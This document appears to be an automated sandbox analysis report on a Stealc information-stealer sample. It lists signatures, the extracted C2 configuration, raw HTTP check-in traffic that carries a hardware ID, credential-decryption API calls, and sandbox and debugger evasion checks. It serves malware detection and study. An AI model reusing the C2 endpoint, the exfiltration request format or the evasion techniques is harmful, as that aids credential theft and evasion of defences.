Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1539396
MD5:	e146f5225dc59d28304d4ea38a3c1265
SHA1:	f8b22e7a65737087d98f2991180ce701b4140db3
SHA256:	6220e540efb2808a44871e88bc3624ad976feb663c6c445e71e6da8be8695f2a
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 5492 cmdline: "C:\Users\user\Desktop\file.exe" MD5: E146F5225DC59D28304D4EA38A3C1265)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1484136381.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 5492	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 5492	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.8b0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-22T16:11:56.055353+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.9	49706	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/ws	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.8b0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 44%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_008BC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_008B9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_008B7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_008B9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_008C8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_008C38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008C4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_008BDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_008BE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_008BED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_008C4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008C3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_008C3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008BF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008B16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008B16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_008BDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008BBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_008BBE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.9:49706 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 45 38 30 34 42 35 46 44 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"74E804B5FD762778904926------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build"doma------CGCFIIEBKEGHJJJJJJDA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008B4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_008B4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFIIEBKEGHJJJJJJDAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 34 45 38 30 34 42 35 46 44 37 36 32 37 37 38 39 30 34 39 32 36 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 49 49 45 42 4b 45 47 48 4a 4a 4a 4a 4a 4a 44 41 2d 2d 0d 0a Data Ascii: ------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="hwid"74E804B5FD762778904926------CGCFIIEBKEGHJJJJJJDAContent-Disposition: form-data; name="build"doma------CGCFIIEBKEGHJJJJJJDA--

Source: file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php4
Source: file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php7
Source: file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpH
Source: file.exe, 00000000.00000002.1528463246.0000000000815000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpjZr
Source: file.exe, 00000000.00000002.1528463246.00000000007E2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpt
Source: file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpz
Source: file.exe, 00000000.00000002.1528463246.00000000007FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37N

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8	0_2_00C739C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BA8932	0_2_00BA8932
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7813D	0_2_00C7813D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7D205	0_2_00C7D205
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C72220	0_2_00C72220
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF8B50	0_2_00CF8B50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B6C311	0_2_00B6C311
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7ECCE	0_2_00C7ECCE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D73C44	0_2_00D73C44
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C74C13	0_2_00C74C13
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C79C31	0_2_00C79C31
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C695F4	0_2_00C695F4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C085B0	0_2_00C085B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B596D2	0_2_00B596D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C766B3	0_2_00C766B3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C6FE5C	0_2_00C6FE5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7B7B9	0_2_00C7B7B9

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 008B45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: pqeyqbvq ZLIB complexity 0.9948731219259146

Source: file.exe, 00000000.00000003.1484136381.0000000004BE0000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_008C8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_008C3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\D5YE1TEQ.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000002.1528463246.000000000079E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: SELECT url FROM urls LIMIT 10009;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1821696 > 1048576

Source: file.exe

Static PE information: Raw size of pqeyqbvq is bigger than: 0x100000 < 0x196a00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.8b0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;pqeyqbvq:EW;oscgfsnm:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;pqeyqbvq:EW;oscgfsnm:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_008C9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_008C9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cb443 should be: 0x1caf11

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: pqeyqbvq
Source: file.exe	Static PE information: section name: oscgfsnm
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D530F5 push ebp; mov dword ptr [esp], ecx	0_2_00D535AA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00CF18E8 push 6417CE30h; mov dword ptr [esp], eax	0_2_00CF192B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D31092 push 5A3FADBDh; mov dword ptr [esp], eax	0_2_00D3136D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7389B push 64791129h; mov dword ptr [esp], esp	0_2_00D738EA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3789E push 65038CA3h; mov dword ptr [esp], edx	0_2_00D378B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8B8AA push edx; mov dword ptr [esp], 69BC106Fh	0_2_00C8B8BE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D110B3 push 17F702ABh; mov dword ptr [esp], ecx	0_2_00D110CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D518BE push edi; mov dword ptr [esp], esi	0_2_00D52299
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2C857 push esi; mov dword ptr [esp], ebx	0_2_00D2C878
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2C857 push ebx; mov dword ptr [esp], ebp	0_2_00D2C8D9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2C857 push ecx; mov dword ptr [esp], esi	0_2_00D2C8F6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D4B858 push ebp; mov dword ptr [esp], 7DAF0DA4h	0_2_00D4B944
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_008CB035 push ecx; ret	0_2_008CB048
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D2E00B push ecx; mov dword ptr [esp], 76874402h	0_2_00D2E103
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D7F038 push edi; mov dword ptr [esp], esi	0_2_00D7F0E8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8A841 push 0144C339h; mov dword ptr [esp], ebp	0_2_00B8A8F7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8A841 push 21667DD7h; mov dword ptr [esp], edi	0_2_00B8A90F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8A841 push 2D246ADEh; mov dword ptr [esp], ebx	0_2_00B8A972
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B8A841 push 7F8A3308h; mov dword ptr [esp], edx	0_2_00B8A9CE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9A9C5 push ecx; mov dword ptr [esp], esi	0_2_00C9A9C9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C9A9C5 push 14C8DF79h; mov dword ptr [esp], ebx	0_2_00C9AA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push ebp; mov dword ptr [esp], esi	0_2_00C739DF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push 5994B9F2h; mov dword ptr [esp], esi	0_2_00C73AF4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push 30BA9900h; mov dword ptr [esp], eax	0_2_00C73AFE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push 112720F4h; mov dword ptr [esp], edx	0_2_00C73C0B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push edx; mov dword ptr [esp], 2324EDBBh	0_2_00C73C25
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push edx; mov dword ptr [esp], eax	0_2_00C73C8C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push 754BCBBBh; mov dword ptr [esp], edx	0_2_00C73D45
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push ecx; mov dword ptr [esp], eax	0_2_00C73E94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push edx; mov dword ptr [esp], ecx	0_2_00C73F2C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C739C8 push edx; mov dword ptr [esp], edi	0_2_00C73FC2

Source: file.exe

Static PE information: section name: pqeyqbvq entropy: 7.953729049995973

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_008C9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13655

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B12082 second address: B1208E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jg 00007F6398F5B496h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B1208E second address: B120A8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6398F5EC96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F6398F5EC9Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B11987 second address: B11999 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F6398F5B496h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jns 00007F6398F5B496h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84B90 second address: C84BAD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F6398F5ECA1h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C84BAD second address: C84BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
